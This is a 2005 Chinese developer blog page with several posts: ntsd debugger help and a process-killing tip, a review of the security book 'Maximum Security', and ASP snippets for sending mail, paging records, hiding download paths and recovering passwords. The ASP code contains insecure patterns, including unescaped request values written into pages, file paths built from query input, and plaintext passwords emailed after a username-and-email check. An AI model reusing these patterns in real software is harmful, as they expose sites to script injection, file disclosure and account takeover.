usage: ntsd [-?] [-2] [-d] [-g] [-G] [-myob] [-lines] [-n] [-o] [-s] [-v] [-w]
[-r BreakErrorLevel] [-t PrintErrorLevel]
[-hd] [-pd] [-pe] [-pt #] [-pv] [-x | -x{e|d|n|i} ]
[-- | -p pid | -pn name | command-line | -z CrashDmpFile]
[-zp CrashPageFile] [-premote transport] [-robp]
[-aDllName] [-c "command"] [-i ImagePath] [-y SymbolsPath]
[-clines #] [-srcpath SourcePath] [-QR \\machine] [-wake ]
[-remote transporterver=name,portid] [-server transportortid]
[-ses] [-sfce] [-sicv] [-snul] [-noio] [-failinc] [-noshell]

where: -? displays this help text
command-line is the command to run under the debugger
-- is the same as -G -g -o -p -1 -d -pd
-aDllName sets the default extension DLL
-c executes the following debugger command
-clines number of lines of output history retrieved by a remote client
-failinc causes incomplete symbol and module loads to fail
-d sends all debugger output to kernel debugger via DbgPrint
-d cannot be used with debugger remoting
-d can only be used when the kernel debugger is enabled
-g ignores initial breakpoint in debuggee
-G ignores final breakpoint at process termination
-hd specifies that the debug heap should not be used
for created processes. This only works on Windows Whistler.
-o debugs all processes launched by debuggee
-p pid specifies the decimal process Id to attach to
-pd specifies that the debugger should automatically detach
-pe specifies that any attach should be to an existing debug port
-pn name specifies the name of the process to attach to
-pt # specifies the interrupt timeout
-pv specifies that any attach should be noninvasive
-r specifies the (0-3) error level to break on (SeeSetErrorLevel)
-robp allows breakpoints to be set in read-only memory
-t specifies the (0-3) error level to display (SeeSetErrorLevel)
-w specifies to debug 16 bit applications in a separate VDM
-x sets second-chance break on AV exceptions
-x{e|d|n|i} sets the break status for the specified event
-2 creates a separate console window for debuggee
-i ImagePath specifies the location of the executables that generated
the fault (see _NT_EXECUTABLE_IMAGE_PATH)
-lines requests that line number information be used if present
-myob ignores version mismatches in DBGHELP.DLL
-n enables verbose output from symbol handler
-noio disables all I/O for dedicated remoting servers
-noshell disables the .shell (!!) command
-QR <\\machine> queries for remote servers
-s disables lazy symbol loading
-ses enables strict symbol loading
-sfce fails critical errors encountered during file searching
-sicv ignores the CV record when symbol loading
-snul disables automatic symbol loading for unqualified names
-srcpath specifies the source search path
-v enables verbose output from debugger
-wake wakes up a sleeping debugger and exits
-y specifies the symbol search path (see _NT_SYMBOL_PATH)
-z specifies the name of a crash dump file to debug
-zp specifies the name of a page.dmp file
to use with a crash dump
-remote lets you connect to a debugger session started with -server
must be the first argument if present
transport: tcp | npipe | ssl | spipe | 1394 | com
name: machine name on which the debug server was created
portid: id of the port the debugger server was created on
for tcp use: port=
for npipe use: pipe=
for 1394 use: channel=
for com use: port=,baud=,
channel=
for ssl and spipe see the documentation
example: ... -remote npipeerver=yourmachine,pipe=foobar
-server creates a debugger session other people can connect to
must be the first argument if present
transport: tcp | npipe | ssl | spipe | 1394 | com
portid: id of the port remote users can connect to
for tcp use: port=
for npipe use: pipe=
for 1394 use: channel=
for com use: port=,baud=,
channel=
for ssl and spipe see the documentation
example: ... -server npipeipe=foobar
-premote transport specifies the process server to connect to
transport arguments are given as with remoting

Environment Variables:

_NT_SYMBOL_PATH=[Drive:][Path]
Specify symbol image path.

_NT_ALT_SYMBOL_PATH=[Drive:][Path]
Specify an alternate symbol image path.

_NT_DEBUGGER_EXTENSION_PATH=[Drive:][Path]
Specify a path which should be searched first for extensions dlls

_NT_EXECUTABLE_IMAGE_PATH=[Drive:][Path]
Specify executable image path.

_NT_SOURCE_PATH=[Drive:][Path]
Specify source file path.

_NT_DEBUG_LOG_FILE_OPEN=filename
If specified, all output will be written to this file from offset 0.

_NT_DEBUG_LOG_FILE_APPEND=filename
If specified, all output will be APPENDed to this file.

_NT_DEBUG_HISTORY_SIZE=size
Specifies the size of a server's output history in kilobytes

Control Keys:

Quit debugger
Break into Target
Force a break into debuggee (same as Ctrl-C)
Debug Current debugger
Toggle Verbose mode
Print version information
ntsd: exiting - press enter ---

用法:开个cmd.exe窗口,输入:
ntsd -c q -p PID

把最后那个PID,改成你要终止的进程的ID。

如果你不知道进程的ID,任务管理器-》进程选项卡-》查看-》选择列-》
勾上"PID(进程标识符)",然后就能看见了。

2.xp下还有两个好东东
tasklist和tskill
tasklist能列出所有的进程,和相应的信息
tskill能查杀进程le
语法很简单
tskill 程序名!!
posted @ 2005-07-07 17:39 一天一点爱恋 阅读(145) | 评论 (0)编辑 收藏
 
关于黑客安全的书籍已经为数不少了,能称得上是经典的作品却不多。放眼看去,我认为有三部作品最值得推荐。一本是《应用密码学》,这是一本真实系统地介绍了密码学及该领域的全面参考书,内容广博、权威且实用。第二本是《黑客大曝光》,这是一本国内外都十分畅销的图书,注重案例分析,探讨攻防对策是最大的特色。以上两书的作者在国外都享有盛誉,而第三本值得推荐的作品,也是这篇文章着重介绍的,就是这部署名为Anonymous(匿名,音译为"安尼姆斯")的《Maximum Security》(中文版《最高安全机密》),如今出版的是该书的第3版。该书第1版面世之初,就引起了不少的争议。来自《Computer World》的Sharon Machlis 说道"想要学习如何破坏服务器吗?寻找生成病毒代码的工具?在电脑空间中隐藏你的身份?想要成为黑客的人通常会求助于不公开的杂志或破译者站点来获得这些技巧和提示。但是现在一个主流的出版商有一本充满这些建议的书。该书面向系统管理员,却引发了另一轮的争论,就是到底应该向一般公众宣传多少安全信息。"Anonymous在美国曾经是一位臭名昭著的黑客,80年代即开始尝试利用网络侵入金融系统,并亲手导演了一系列震惊海内外的金融案件。由于该案影响很大,书籍出版之时引起的争议也如此之大,Anonymous也终于被政府禁止在其作品上署名。这是一部著名黑客现身说法的作品,讲述的是如何防范黑客。
  然而,无可否认的是,这是一本与众不同的安全图书。《最高安全机密》(第3版)跟前面所提到的那两本书各有千秋,《应用密码学》的作者施奈尔不愧是一位畅销书的作家,他的每本作品都曾获大奖,语言上追求完美,把复杂问题简单化、通俗化是他在写作上的最大特点,《网络信息安全的真相》可以看作是该书的续集;《黑客大曝光》则号称是漏洞宝典,从攻击者和防御者的不同角度系统阐述了计算机和网络的入侵手段及相应防御措施,目前发展到第2版--作者还写了多本连枝的书,当然都不如这本"正品"。《最高安全机密》一书的组织方式与普通的计算机书籍完全不同,使用的方法也与普通的计算机书籍迥然不同,后面我将与大家详细探讨。正是由于作者的特殊经历,使得《最高安全机密》一书从第1版开始即获得了读者的广泛关注。人们对此书发表得更多的是正面的评价,来自《PC Computing》的Rich Schwerin盛誉此书是"任何系统管理员都需要的读物。请运用来自黑客的观点、提示和技巧,缝起你系统的缺口。"Ben Elgin(ZDNet Whole Web Catalog)的评价似乎更能全面地代表读者的评价,他认为这本书"提供了一个非常全面的关于Internet黑客程序及技术的教程--它也唤醒了Web站点管理员。通过诚实地评估众多工具对特定的平台及网络配置的影响,Web站点管理员将能更好地认识到如何去保护他们的网络,以及怎样确定安全缺口发生的时间和地点。"机械工业出版社曾经引进并组织出版了这本书的前两版,一直被国内行业人士奉为必读之作,很多读者成为该书拥趸,每版必读。
  跟其他泛泛而谈的安全图书不一样的地方是,这本书从一个黑客的角度,着重于介绍攻击和防范的两面。《Library Journal》如此评价道,认为该书"详细地讨论了Internet战争、编程语言、扫描程序、嗅探器、口令破译程序、特洛伊木马、平台安全、远程攻击、欺骗、防火墙、以及法律。它既是一本防御用书,也是一部攻击用书。" 读者也许不相信自己会是受害者,然而阅读完全书以后人们就会发现,任何人都是潜在的受害者;你要么是麻烦制造者,要么就是麻烦的澄清者,在这样的战争中你绝对不可能处于中立。从这个层面去看,我认为这是一部"黑客兵法",它教会你如何在这场"没有硝烟的战争"中取得胜利。书中不仅讲述了现今与安全问题有关的内容,而且还讲述了安全问题在未来的发展动向,整本书所提供的"方法学"有着非常经典和通用的含义。作者提到"由于经验相对不足,可能会出现各种各样的网络安全问题。基于上述原因,本书将始终以提高读者的安全经验作为主要任务。"有意思的是,在阅读这本书的过程中,我们经常会发现作品中渗透着许多极具价值的经验与总结,正应验着某些现实的问题。
  与普通计算机书籍相比,这是一本组织方式独树一帜的图书,读者的阅读方法也会有所不同。《最高安全机密》(第3版)一书包含1000多个URL或Internet地址,事实上为用户提供了一张关于Internet安全信息的在线藏宝图。这些额外的信息使得读者能够及时地得到各种更新的信息,同时也是读者进一步提升的重要参考。此外,书中还提供了各种的Internet安全工具,鉴于此,《最高安全机密》拥有了许多同类书籍所不具备的优点。一张地图、一把铲子、一本指南,构成了绝佳的组合。当然,还应该有一位探险家参与其中。一位探险者Bob Bruen(Cipher-Newsletter of the IEEE Technical Committee on Security and Privacy)如此说道"要确保你站点的安全(谁不呢?),这本书将是非常值得购买和阅读的--它有着接近200页的黑客工具信息。有足够的理由购买本书,除非你不想自己从事这项研究。"
  从第I部分的导引开始,作者向读者介绍了目前信息安全领域的发展情况,也指出了目前我们所面临的问题及其原因。作者提出,企业应用系统的安全性问题常常来自于四大源头:网络和主机的配置有误;操作系统和应用程序存在缺陷;厂商缺少质量评价及回应的有效手段;安全领域的人才奇缺。第II部分则讲述了信息安全的基本理论,对于读者如何从头建立起一个安全的计算机环境,提供了可靠的认识保障。
  防护和攻击是网络安全中的一对矛盾,在安全的教育方面更是如此。作者有这样的一个观点,要想有效地进行防护,就必须对攻击的技术手段、工具有深入的了解;而想要攻击成功,也必须深入了解目标系统的防护手段、内部结构等。该书即是如此,目的不是让读者去加害于人,但要进行有效防护,就必须了解攻击手段,所以在书中作者对攻击和防护的两个方面都作出了详细的探讨。
  读者经常会混淆"骇客(Hacker)"和"黑客(Cracker)"这两个词,在书中作者对两者下了非常明确的定义。骇客(Hacker),指的是那些对任何计算机操作系统的深奥的工作机理都非常感兴趣的人,他们一般都是程序员。因此,骇客拥有操作系统和编程语言等方面丰富的知识,他们能够发现系统中的漏洞以及出现这些漏洞的原因;骇客能够不断地追求更加深入的知识,与别人共享他们的发现,并且从来不会破坏数据。黑客(Cracker)是指怀有恶意企图、入侵到远端计算机或者破坏远端系统完整性的人。黑客往往在未经授权访问的情况下破坏重要的数据、拒绝合法的用户访问,从而给目标机器带来各种安全问题。由于其行为的恶意性,黑客往往容易被发现。一言以蔽之,前者是"善人",后者是"恶客"。
  前两部分无疑只是个热身,该书从第III部分开始渐入佳境,这部分共有三章,第7章欺骗攻击,第8章隐藏标识以及第9章揭开黑客攻击的神秘面纱,详细地介绍了入侵的场景,其中涉及到黑客工具箱。通过阅读,将使读者得以了解到各种的Internet工具和这些工具的扩展信息,包括工具的编写者、使用者、工作原理以及如何从中受益。第9章则仔细地陈述了一些诸如攻击发生的时间,攻击者的类型,解密使用的操作系统,是否有典型的攻击,谁是最频繁的攻击对象,以及攻击动机是什么这些问题。
  第IV部分则介绍了可以用于防止恶意攻击的各种工具、工具集和商用产品,第10章防火墙,第11章安全评估工具(扫描器),第12章入侵检测系统(IDS),第13章日志和监听工具,第14章口令破译,第15章嗅探器(指能捕获网络报文的设备。嗅探器的正当用处是为了分析网络流量并找出可能出现问题的区域。例如网络中某一段工作不正常:数据包的传输速度非常慢或者某台机器通过网络启动时死机了,这时就可以使用嗅探器来判断问题到底出现在什么地方。)
  第V部分介绍了目前计算机界最恶毒的三类攻击,对这些会给系统和网络造成破坏的工具进行了深入的剖析。该部分包括第16章拒绝服务攻击,第17章病毒和蠕虫以及第18章特洛伊木马,作者在每章的小结处均会总结出相应的抵御恶意攻击的办法。当然,解决的方法必须是综合考虑的,正如谈到特洛伊木马的防范,书中就提出对于Window和UNIX系统,不仅要检测特洛伊木马,还要检测系统的一致性,从而降低系统受到特洛伊木马攻击的概率。虽然实现起来会有一定的困难,但是通过工作站是可以实现的。一致性管理、从初次安装系统就有效地备份数据、严格的用户管理安装和执行经过认证的软件,只有将这些方法相结合才能更有效地抵御该类攻击。
  第VI部分"平台与安全性"转入阐述如何防止特定的计算机和操作系统遭受恶意攻击,包括以下各种平台系统,常用的有Microsoft操作系统、UNIX和Novell NetWare,而一些专用的操作平台,如Cisco IOS、Macintosh和VAX/VMS也在书中得到了充分的涉及,这方面的内容正好能填补读者在知识上的盲点,这也充分地体现了作者对整个安全领域的认识是既有深度又有广度,也是这本书与众不同的又一佐证。例如,书中提到VAX/VMS在这个游戏的年代是废弃的系统,然而并未退出竞争。作者认为,如果打算在Internet安全领域中谋求一个职位,就必须在VMS方面进行一定程度的学习。
  第VII部分"综合应用",顾名思义是作者将之前所讲述的所有内容综合起来,形成一种较为复杂的信息安全战略。作者的观点恰恰代表了广大安全工作者的心声"安全是一个过程,不是功能部件,要求扎实的但不是无法完成的工作",对安全的考虑不应该在应用软件、系统或产品开发周期完成后就结束。它是一个持续的过程,应该在应用软件使用期限的整个过程中一直进行。安全性涉及的技术细节要求大量的时间、经验和掌握的暴露程度。安全意识、以及从安全观点分析的能力使得设计人员、开发人员和他们的管理人员能够确定问题并做出响应,这样就有助于创建一个设计良好的、可靠的和安全的应用软件。
  这是一本几乎完美的作品,精彩延续到最后的附录部分。从图书信息,到能帮助读者进一步理解安全问题的站点,最后到如何获得具体厂家的安全信息,书中都一一作出了指引。
  《最高安全机密》(第3版)这本书中的丰富内容让读者掌握到很多关于安全的理论和方法,作者的奇异经历也使人们得以获取更多宝贵的实战经验,更重要的是,你可以从中体会一名真正黑客的思路。书名中的"最高(Maximum)"一词展示着作者的自信,对于认识到信息安全重要性的读者,这是一部不容错过的顶级著作,相信读过该书的朋友们都会与我同感。在此,我把它推荐给所有关心安全的朋友们阅读
posted @ 2005-07-07 17:13 一天一点爱恋 阅读(183) | 评论 (0)编辑 收藏
 

Set jmail = Server.CreateObject("JMAIL.SMTPMail") '创建一个JMAIL对象
jmail.silent = true 'JMAIL不会抛出例外错误,返回的值为FALSE跟TRUE
jmail.logging = true '启用使用日志
jmail.Charset = "GB2312" '邮件文字的代码为简体中文
jmail.ContentType = "text/html" '邮件的格式为HTML的
jmail.ServerAddress = "Server Address" '发送邮件的服务器
jmail.AddRecipient Email '邮件的收件人
jmail.SenderName = "SenderName" '邮件发送者的姓名
jmail.Sender = "Email Address" '邮件发送者的邮件地址
jmail.Priority = 1 '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
jmail.Subject = "Mail Subject" '邮件的标题
jmail.Body = "Mail Body" '邮件的内容
jmail.AddRecipientBCC Email '密件收件人的地址
jmail.AddRecipientCC Email '邮件抄送者的地址
jmail.Execute() '执行邮件发送
jmail.Close '关闭邮件对象
%>

  w3 Jmail4.3组件重新设计了其内部结构——使用Message对象代替原来的单一对象Jmail.smtpmail发送邮件,有些方法需要身份验证的(如163、yahoo等),可以用下面的方法解决:
<%
Set jmail = Server.CreateObject("JMAIL.Message") '建立发送邮件的对象
jmail.silent = true '屏蔽例外错误,返回FALSE跟TRUE两值j
mail.logging = true '启用邮件日志
jmail.Charset = "GB2312" '邮件的文字编码为国标
jmail.ContentType = "text/html" '邮件的格式为HTML格式
jmail.AddRecipient Email '邮件收件人的地址
jmail.From = "Email From for Sender" '发件人的E-MAIL地址
jmail.MailServerUserName = "UserName of Email" '登录邮件服务器所需的用户名
jmail.MailServerPassword = "Password of Email" '登录邮件服务器所需的密码
jmail.Subject = "Mail Subject" '邮件的标题
jmail.Body = "Mail Body" '邮件的内容
jmail.Prority = 1 '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
jmail.Send("Server Address") '执行邮件发送(通过邮件服务器地址)
jmail.Close() '关闭对象
%>

  再讲一下微软自带的CDONTS组件的发信的方法:

<%
Set cdomail = Server.CreateObject("CDONTS.NewMail") '建立邮件对象
cdomail.Subject = "Mail Subject" '邮件标题
cdomail.From = "Sender's Mail" '发件人的地址
cdomail.To = "Email will from" '收件人的地址
cdomail.Body = "Mail Body" '邮件的内容
cdomail.Send '执行发送
%>

  这种方法发送邮件是最简单的,同时也带来一定的问题,就是很少有服务器会开这项服务!


  我们写程序,一般情况下都是说要代码模块化,这样方便维护,同时也方便移植。因此,我在这里将这个发邮件的写成一个子程,在调用的时候可以直接调用(当然,如果你高兴写成函数的话也是可以的,这个主要是看个人兴趣):

<%
'参数说明
'Subject : 邮件标题
'MailAddress : 发件服务器的地址,如smtp.163.com
'Email : 收件人邮件地址
'Sender : 发件人姓名
'Content : 邮件内容
'Fromer : 发件人的邮件地址

Sub SendAction(subject, mailaddress, email, sender, content, fromer)
Set jmail = Server.CreateObject("JMAIL.SMTPMail") '创建一个JMAIL对象
jmail.silent = true 'JMAIL不会抛出例外错误,返回的值为FALSE跟TRUE
jmail.logging = true '启用使用日志
jmail.Charset = "GB2312" '邮件文字的代码为简体中文
jmail.ContentType = "text/html" '邮件的格式为HTML的
jmail.ServerAddress = mailaddress '发送邮件的服务器
jmail.AddRecipient Email '邮件的收件人
jmail.SenderName = sender '邮件发送者的姓名
jmail.Sender = fromer '邮件发送者的邮件地址
jmail.Priority = 1 '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
jmail.Subject = subject '邮件的标题
jmail.Body = content '邮件的内容
'由于没有用到密抄跟抄送,这里屏蔽掉这两句,如果您有需要的话,可以在这里恢复
'jmail.AddRecipientBCC Email '密件收件人的地址
'jmail.AddRecipientCC Email '邮件抄送者的地址
jmail.Execute() '执行邮件发送
jmail.Close '关闭邮件对象
End Sub

'调用此Sub的例子
Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer
strSubject = "这是一封用JMAIL发送的测试邮件"
strContent = "JMail组件发送测试成功!"
strEmail = "FAQ@xxby.com"
strFromer = "FAQ@xxby.com"
strMailAddress = "mail.xxby.com"

posted @ 2005-07-07 16:24 一天一点爱恋 阅读(168) | 评论 (0)编辑 收藏
 
 在大型的ASP项目中,很多的页面都涉及到翻页功能。如果每个页面都写一个翻页的程序的话,这样的工作即降低了工作效率,也不利于工程的模块化,不能使代码重用。因此,把翻页这样的功能模块化是很有必要的。
设计方法:
1、调用该模块时,只需要传递记录集和每页显示的记录的条数;
2、可以点击链接进行翻页,也可以直接输入页码,回车后翻页;
3、不要考虑文件名,程序的每次翻页都能在当前页面。

想清楚了上面3个问题,我们的公共翻页模块就可以动手了。

<%
'+++++++++++++++++++++++++++++++++++++
'◆模块名称: 公共翻页模块
'◆文 件 名: TurnPage.asp
'◆传入参数: Rs_tmp (记录集), PageSize (每页显示的记录条数)
'◆输 出: 记录集翻页显示功能
'+++++++++++++++++++++++++++++++++++++
'
Sub TurnPage(ByRef Rs_tmp,PageSize) 'Rs_tmp 记录集 ; PageSize 每页显示的记录条数;
Dim TotalPage '总页数
Dim PageNo '当前显示的是第几页
Dim RecordCount '总记录条数
Rs_tmp.PageSize = PageSize
RecordCount = Rs_tmp.RecordCount
TotalPage = INT(RecordCount / PageSize * -1)*-1
PageNo = Request.QueryString ("PageNo")
'直接输入页数跳转;
If Request.Form("PageNo")<>"" Then PageNo = Request.Form("PageNo")
'如果没有选择第几页,则默认显示第一页;
If PageNo = "" then PageNo = 1
If RecordCount <> 0 then
Rs_tmp.AbsolutePage = PageNo
End If

'获取当前文件名,使得每次翻页都在当前页面进行;
Dim fileName,postion
fileName = Request.ServerVariables("script_name")
postion = InstrRev(fileName,"/")+1
'取得当前的文件名称,使翻页的链接指向当前文件;
fileName = Mid(fileName,postion)
%>
<table border=0 width='100%'>
<tr>
<td align=left> 总页数:<font color=#ff3333><%=TotalPage%></font>页
当前第<font color=#ff3333><%=PageNo%></font>页</td>
<td align="right">
<%If RecordCount = 0 or TotalPage = 1 Then
Response.Write "首页|前页|后页|末页"
Else%>
<a href="<%=fileName%>?PageNo=1">首页|</a>
<%If PageNo - 1 = 0 Then
Response.Write "前页|"
Else%>
<a href="<%=fileName%>?PageNo=<%=PageNo-1%>">前页|</a>
<%End If

If PageNo+1 > TotalPage Then
Response.Write "后页|"
Else%>
<a href="<%=fileName%>?PageNo=<%=PageNo+1%>">后页|</a>
<%End If%>

<a href="<%=fileName%>?PageNo=<%=TotalPage%>">末页</a>
<%End If%></td>
<td width=95>转到第
<%If TotalPage = 1 Then%>
<input type=text name=PageNo size=3 readonly disabled style="background:#d3d3d3">
<%Else%>
<input type=text name=PageNo size=3 value="" title=请输入页号,然后回车>
<%End If%>页
</td>
</tr>
</table>
<%End Sub%>

当然,大家可以把翻页的链接做成图片按钮,这样的话也面就更加美观了。

调用方法:
1、在程序开始或要使用翻页的地方包含翻页模块文件;
2、定义变量:RowCount,每页显示的记录条数
3、调用翻页过程:Call TurnPage(记录集,RowCount)
4、在Do While 循环输出记录集的条件中加上" RowCount > 0 " 条件
5、在循环结束 "Loop前" 加上: RowCount = RowCount - 1

'-----------------------------------------------------
调用范例:
文件名:News.asp

<%
Dim Conn,Rs_News
Set Conn = server.CreateObject("ADODB.CONNECTION")
Conn.Open "cpm","cpm","cpm"

Dim Sql
Sql = "Select * from News"
Set Rs_News = Server.CreateObject("ADODB.RECORDSET")
Rs_News.Open Sql,Conn,1,3 '获取的记录集

'公共翻页模块开始%>
<!--#include file=../Public/TurnPage.asp-->
<%
Dim RowCount
RowCount = 10 '每页显示的记录条数
Call TurnPage(Rs_News,RowCount)
'公共翻页模块结束%>

<table width=100%>
<tr>
<td>新闻编号</td>
<td>新闻标题</td>
<td>发布日期</td>
<tr>
<%
If Not Rs_News.eof
Do while Not Rs_News.eof and RowCount>0
%>
<tr>
<td><%=Rs_News("ID")%></td>
<td><%=Rs_News("Name")%></td>
<td><%=Rs_News("Date")%></td>
<tr>
<%
RowCount = RowCount - 1
Rs_News.MoveNext
Loop
End If
%>



修正:
<%
If Not Rs_News.eof then
Do while Not Rs_News.eof and RowCount>0
%>

而那个公共模块缺<form>,改后:
<%
Sub TurnPage(ByRef Rs_tmp,PageSize) 'Rs_tmp 记录集 ; PageSize 每页显示的记录条数;
Dim TotalPage '总页数
Dim PageNo '当前显示的是第几页
Dim RecordCount '总记录条数
Rs_tmp.PageSize = PageSize
RecordCount = Rs_tmp.RecordCount
TotalPage = INT(RecordCount / PageSize * -1)*-1
PageNo = Request.QueryString ("PageNo")
'直接输入页数跳转;
If Request.Form("PageNo")<>"" Then PageNo = Request.Form("PageNo")
'如果没有选择第几页,则默认显示第一页;
If PageNo = "" then PageNo = 1
If RecordCount <> 0 then
Rs_tmp.AbsolutePage = PageNo
End If
'获取当前文件名,使得每次翻页都在当前页面进行;
Dim fileName,postion
fileName = Request.ServerVariables("script_name")
postion = InstrRev(fileName,"/")+1
fileName = Mid(fileName,postion)
%>
<table border=0 width='100%'>
<tr>
<td width="258" align=left> 总页数:<font color=#ff3333><%=TotalPage%></font>页
当前第<font color=#ff3333><%=PageNo%></font>页 总共<%=RecordCount%>条 </td>
<td width="308" align="right"> <div align="center">
<%If RecordCount = 0 or TotalPage = 1 Then
Response.Write "首页|前页|后页|末页"
Else%>
<a href="<%=fileName%>?PageNo=1">首页|</a>
<%If PageNo - 1 = 0 Then
Response.Write "前页|"
Else%>
<a href="<%=fileName%>?PageNo=<%=PageNo-1%>">前页|</a>
<%End If

If PageNo+1 > TotalPage Then
Response.Write "后页|"
Else%>
<a href="<%=fileName%>?PageNo=<%=PageNo+1%>">后页|</a>
<%End If%>
<a href="<%=fileName%>?PageNo=<%=TotalPage%>">末页</a>
<%End If%>
</div></td>
<td width=189><form name="form1" method="post" action=""> 转到第 <% If TotalPage = 1 Then%>
<input type=text name=PageNo size=3 readonly disabled style="background:#d3d3d3">
<input type="submit" name="Submit" value="Go" disabled style="background:#d3d3d3">
<%Else%>
<input type=text name=PageNo size=3 >
<input type="submit" name="Submit" value="Go">
<%End If%>
</form>

</td>
</tr>
</table>
<%End Sub%>
posted @ 2005-07-07 16:20 一天一点爱恋 阅读(136) | 评论 (0)编辑 收藏
 
 如果我们知道一个静态文件的实际路径如:http://www.xx.com/download/51windows.pdf,如果服务器没有作特别的限制设置,我们就可以毫不费力的把它下载下来!当网站提供51windows.pdf下载时,怎么样才能让下载者无法得到他的实际路径呢!本文就来介绍如何使用Asp来隐藏文件的实际下载路径。

  我们在管理网站文件时,可以把扩展名一样的文件放在同一个目录下,起一个比较特别名字,例如放pdf文件目录为the_pdf_file_s,把下面代码另存为down.asp,他的网上路径为http://www.xx.com/down.asp,我们就可以用http://www.xx.com/down.asp?FileName=51windows.pdf来下载这个文件了,而且下载者无法看到这个文件实际下载路径的!在down.asp中我们还可以设置下载文件是否需要登陆,判断下载的来源页是否为外部网站,从而可以做到防止文件被盗链。

示例代码:

<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法链接!" '防止盗链
response.end
end if

if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陆!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "无效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '设置pdf类型文件目录
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '设置DOC类型文件目录
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '设置图像文件目录
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>

posted @ 2005-07-07 16:19 一天一点爱恋 阅读(121) | 评论 (0)编辑 收藏
 

会员注册以后,有些会员可能会遇到忘记登录密码的问题,因而网站具备“找回密码”功能不仅是必须的,而且是服务贴心的具体表现之一。在此,levitian写了一个“找回密码”的小教程,供初学动态网站设计的朋友们借鉴,希望对大家有所帮助。

●相关说明:
·levitian假设您已经作好了会员系统,接下来准备作“找回密码”功能但还没有作,或者您不知道怎么作这个功能,那么刚好可以看看本教程。
·国内大多数服务器都支持Jmail邮件组件,因而levitian就使用该组件实现邮件发送功能;
·传统的“找回密码”功能要使用“密码取回问题”和“密码取回答案”等字段,但levitian认为大可不必这么繁琐,反正最终目的是将密码发进用户的邮箱里,而用户的邮箱只有自己可以收发邮件,那么以上这两个字段就可以省略了。实际上只要填上用户名和自己的邮箱,按“找回密码”,启动Jmail邮件组件把密码发至用户邮箱--就这么简单!
·levitian用的是Dreamweaver MX,您用Dreamweaver UltraDev当然也没问题了。
·本系统主要用到了DW服务器行为中的“登录用户”和“插入”菜单中的“文件头标签”中的“刷新”子功能。用户不知道登录密码没关系,他可以用自己的用户名和邮箱找回密码,但如果该用户的邮箱是假的(胡填的),或根本没有在自己的注册资料中填邮箱,或者他输入了别人的邮箱,那么他也就无法进入找回密码的页面,当然也就无法找回自己的密码了~

好了,说了一大堆废话:) 赶快GO →

●步骤一:制作相关的ASP页面
我们需要增加三个页面,一个页面是“找回密码登录页面”,这里我命名为getbackpass.asp;另一个是“密码发送成功报告页面”,这里我命名为getbackpassok.asp;第三个页面为邮箱不存在或用户名不正确时显示错误信息的页面,这里我命名为getbackpassfail.asp。

●步骤二:在会员登录页面增加“找回密码”文本型链接或图片型链接
在会员登录界面中输入文本“找回密码”或者插入一张图片,将其链接至找回密码登录页面getbackpass.asp;如果您想把“找回密码”链接放在其它页面,当然没问题了。

●步骤三:制作找回密码登录页面getbackpass.asp
·打开找回密码登录页面getbackpass.asp,建立表单域,插入两个文本域,第一个命名为MemberName,第二个命名为MemberEmail(您的会员信息数据表中的会员姓名字段和会员邮箱字段如不是MemberName和MemberEmail,请修改成相应的字段名),接下来插入一个“按钮”,命名为“取回密码”。
·打开服务器行为面板,点击“+”,选择“用户身份验证”中的“登录用户”,在“登录用户”面板中,我主要说说以下项目的设置:
使用连接验证:我们选择已经定义好的DSN连接
表格:我们选择会员注册信息表单
用户名列:我们选择MemberName
密码列:我们选择MemberEmail
如果登录成功转到:我们选择getbackpassok.asp
如果登录失败转到:我们选择getbackpassfail.asp
基于以下项限制访问:我们选择“用户名和密码”
OK!可以按“确定”按钮了。
·加入表单验证代码
为防止用户不填表单就登录,可加入以下代码,让用户必须填写内容:
将DW切换到源代码视图,首先,将以下代码加入<head> </head>之间:

<script language="javascript">
<!--
function checkdata() {
if (document.form1.MemberName.value=="") {
window.alert ("请输入用户名 !")
return false
}
if (document.form1.MemberEmail.value=="") {
window.alert ("请输入您的邮箱 !")
return false
}
return true
}
//-->
</script>

接下来,在<form>标签里插入以下代码:onSubmit="return checkdata()"
这样,表单验证就作好了。

●步骤四:制作密码发送成功报告页面getbackpassok.asp
·打开密码发送成功报告页面getbackpassok.asp,输入文本“密码已发至您的邮箱中,请查询密码后登录本站!”
·建立数据集member,您当然可以用其它的数据集名称:
连接:一栏选择您定义的DSN连接
表格:一栏选择会员信息数据表member
列:一栏选定会员ID、用户名、密码和邮箱这四个字段
筛选:MemberName=阶段变量MM_Username
排序:不用填
